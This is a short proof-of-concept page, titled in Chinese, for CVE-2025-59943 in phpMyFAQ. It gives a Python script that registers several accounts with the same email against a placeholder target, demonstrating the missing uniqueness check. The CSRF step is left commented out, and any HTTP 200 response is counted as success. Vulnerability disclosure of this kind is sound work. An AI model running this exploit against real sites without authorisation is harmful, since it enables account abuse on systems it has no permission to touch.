CVE-2025-59943 phpMyFAQ邮箱唯一性校验缺失漏洞

# CVE-2025-59943 PoC - phpMyFAQ Email Uniqueness Bypass # This PoC demonstrates registration of multiple accounts with the same email import requests TARGET_URL = "http://target-phpmyfaq.example.com" REGISTER_ENDPOINT = "/register.html" # Adjust path as needed # Common email used for all duplicate registrations TARGET_EMAIL = "[email protected]" # User accounts to create with the same email accounts = [ {"username": "attacker1", "email": TARGET_EMAIL, "password": "Pass1234!"}, {"username": "attacker2", "email": TARGET_EMAIL, "password": "Pass5678!"}, {"username": "attacker3", "email": TARGET_EMAIL, "password": "Pass9012!"}, ] session = requests.Session() for i, account in enumerate(accounts): print(f"[*] Attempting to register account {i+1} with email: {account['email']}") # Step 1: Fetch registration page to obtain CSRF token if needed resp = session.get(f"{TARGET_URL}{REGISTER_ENDPOINT}") # Extract CSRF token from the page (implementation depends on phpMyFAQ version) # csrf_token = re.search(r'name="csrf" value="([^"]+)"', resp.text).group(1) # Step 2: Submit registration form with duplicate email data = { "username": account["username"], "email": account["email"], "password": account["password"], "password_confirm": account["password"], # "csrf": csrf_token, # Include if CSRF protection is present } resp = session.post(f"{TARGET_URL}{REGISTER_ENDPOINT}", data=data) if "success" in resp.text.lower() or resp.status_code == 200: print(f"[+] Account {i+1} created successfully with duplicate email!") else: print(f"[-] Account {i+1} registration failed") print("[!] Vulnerability confirmed: Multiple accounts registered with the same email address")